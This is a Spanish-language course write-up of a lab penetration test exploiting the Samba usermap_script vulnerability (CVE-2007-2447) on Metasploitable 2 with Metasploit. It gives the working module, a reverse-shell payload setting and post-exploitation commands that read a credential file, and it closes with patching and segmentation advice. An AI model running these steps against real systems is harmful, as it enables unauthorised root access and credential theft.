Prueba de Penetración SMB - Explotando CVE-2007-2447 en Metasploitable-2

RedTeam-SMB-PenTest

linux bash

Descripción

Este proyecto documenta mi compromiso de prueba de penetración como parte del curso CMIT 386 en UMGC. Se centra en explotar la vulnerabilidad usermap_script de Samba SMB (CVE-2007-2447) en Metasploitable 2 usando Metasploit desde una VM de ataque Kali Linux. Esta prueba de concepto muestra cómo una vulnerabilidad heredada puede llevar a un compromiso total del sistema, robo de credenciales y exfiltración de datos.

Resumen de la Vulnerabilidad

La vulnerabilidad reside en el servicio Samba en el puerto 445, donde un manejo inadecuado de entradas en el script de mapeo de nombres de usuario permite la ejecución remota de comandos sin autenticación. Esto proporciona a los atacantes acceso a un shell de nivel root si se explota.

Entorno

Pasos a seguir

1. Iniciar Metasploit:

msfconsole

Asegúrese de que tanto el host atacante como la máquina víctima estén encendidos y en ejecución.

2. Buscar el exploit:

search samba

3. Usar el módulo adecuado:

use exploit/multi/samba/usermap_script

4. Establecer las opciones requeridas:

set RHOST <target_ip>
set LHOST <attacker_ip>
set payload cmd/unix/reverse

5. Ejecutar el exploit:

exploit

6. Comandos de post-explotación:

whoami
hostname
cd /redteam7/student3
cat mypass.txt

Instrucciones de reinicio

Si la sesión se cuelga o se rompe:

Reiniciar Metasploit:

# Salir del shell actual
Ctrl C
exit
# Matar todos los trabajos en segundo plano
sessions -K             
jobs -K
# Reiniciar Metasploit
msfconsole

Conclusiones Clave

Los servicios heredados como Samba 3.0.20 con usermap_script son altamente vulnerables.
Explotar esta vulnerabilidad SMB otorga acceso a un shell de root.
Datos críticos pueden ser recolectados con comandos simples, demostrando el riesgo en el mundo real.
Esto demuestra la necesidad de parchear, segmentar y reducir la exposición de servicios.

Recomendaciones

Parchear o retirar sistemas heredados inmediatamente.
Implementar segmentación de red estricta y reglas de firewall.
Limitar la exposición de SMB solo a usuarios internos autenticados.
Monitorear registros en busca de actividad sospechosa y movimiento lateral.

VM Atacante	Kali Linux
VM Víctima	Metasploitable 2
Puerto Objetivo	445 (Samba/SMB)
Exploit Utilizado	`exploit/multi/samba/usermap_script`
Objetivo de Credenciales	`/redteam7/student3/mypass.txt`

Más Populares

SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2